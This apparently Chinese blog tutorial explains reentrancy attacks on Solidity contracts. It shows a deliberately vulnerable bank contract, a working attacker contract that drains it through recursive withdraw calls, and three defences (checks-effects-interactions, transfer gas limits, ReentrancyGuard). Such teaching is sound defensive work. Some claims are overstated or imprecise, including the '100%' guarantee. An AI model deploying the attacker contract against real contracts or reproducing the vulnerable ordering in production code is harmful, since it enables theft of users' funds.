深度解析重入攻击:智能合约“银行”如何被搬空及三招破局攻略

·

重入攻击(Reentrancy Attack)是公链合约安全里绕不开的高频关键词。它曾被用来洗劫“The DAO”上亿美元的以太币,也频频出现在近年的审计报告中。本文将继续聚焦智能合约安全,用极简代码+真实场景带你彻底搞明白:

  1. 重入攻击到底“重入”了什么?
  2. 攻击者如何利用fallback 函数无限递归调用?
  3. 开发者在线上环境落地哪三种防御方案才最稳妥?

关键词:重入攻击、智能合约安全、Solidity、fallback 函数、转账函数、以太坊、ReentrancyGuard


攻击还原:一次把“银行”搬空的完整 PLAYBOOK

1. 脆弱合约示例

先看一段“提款机”代码——简单到让人放松警惕,却暗藏致命重入漏洞

pragma solidity ^0.8.0;
contract VulnerableBank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint amount = balances[msg.sender];
        require(amount > 0, "No balance");
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");
        balances[msg.sender] = 0;       // 关键语句:余额清零延迟
    }
}

业务逻辑:

看似人畜无害,但如果提款方是恶意合约账户,情况就会失控。

2. 攻击者合约如何“重入”

攻击者部署如下合约,伪装成正常用户:

contract ReentrancyAttacker {
    VulnerableBank public bank;
    constructor(address _bank) {
        bank = VulnerableBank(_bank);
    }

    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(); // 递归调用
        }
    }

    function startAttack() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }
}

攻击流程:

  1. 调用 startAttack 存入 1 ether,余额被账本记为 1 ether;
  2. 立即 withdraw,脆弱合约通过 .call 把 1 ether 打给攻击合约;
  3. 攻击合约的 receive 函数被触发,再次调用 withdraw
  4. 循环往复,直到 VulnerableBank 余额归零。

每一步账本尚未清零,攻击就像“借书不还”,可以把整座“图书馆”搬走。


FAQ:重入攻击迷思一次说清

问1:2300 gas 限制 transfer/send 就能防重入吗?
答:新版 Solidity >0.8 默认用 .call 而非 transfer/send,开发者更易忽略 gas 传递。相比 gas 限制,写在前端的“检查-生效-调用”模式才是根本。

问2:.call{value:x} 就一定不安全?
答:不是,核心在于状态变量修改顺序。只要确认所有状态更新都在外部调用之前完成,任何转账方式都不会被重入。

问3:ReentrancyGuard 会不会带来额外的 gas 消耗?
答:够用且值得。OpenZeppelin 的互斥锁只增加一次 SLOAD/SSTORE,成本远低于被盗取的资金。


三把“安全锁”教你 100% 堵死重入攻击

方案一:严格遵循 Checks-Effects-Interactions(CEI)

把状态变量提前修好,再进行外部调用:

function withdraw() external {
    uint amount = balances[msg.sender];
    require(amount > 0, "No balance");
    balances[msg.sender] = 0;      // 先清账,防止重入
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok, "Transfer failed");
}

如此一来,无论对方怎么递归,账面余额早已是 0,拿不到额外资金。


方案二:内置 transfer 或 send 的 2300 gas 限制

虽然以太坊的 2300 gas 有时勉强,但在简单转账场景里依旧有效:

payable(msg.sender).transfer(amount); // 2300 gas

局限性:一旦需要携带 calldata 或兼容重带气费的合约,调用会失败。因此只能作为“钥匙”,不能当做“保险柜”。


方案三:直接上 ReentrancyGuard 互斥锁

在业内视为线上“标配”的 OpenZeppelin 防重入库:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
    ...
    function withdraw() external nonReentrant {
        uint amount = balances[msg.sender];
        require(amount > 0, "No balance");
        balances[msg.sender] = 0;
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");
    }
}

nonReentrant 修饰符利用变量(_status)在函数入口上锁,出口解锁,一次只允许一个线程执行 withdraw,从而彻底告别递归噩梦。


拓展案例:真实 DeFi 中被重入“割韭菜”的三种姿势

👉 立即查看最新链上安全事故与修复清单,手把手教你避免踩坑


总结:从认知到动作三步走

  1. 认知:重入≠递归,而是状态变量更新顺序>转账调用顺序导致的漏洞。
  2. 预防:坚持 CEI 准则,为关键函数加上 ReentrancyGuard,用 .call 时务必检查返回值与状态更新。
  3. 行动:每次上线前跑一遍重入攻击单元测试,在测试网真金白银测试一次。

只要抱紧“先改状态再转账”这颗定心丸,再配合业界成熟工具,就能让你的智能合约在黑客面前坚如磐石。

👉 抢先试用一键部署 ReentrancyGuard 的脚手架,测试网零成本演练重入攻防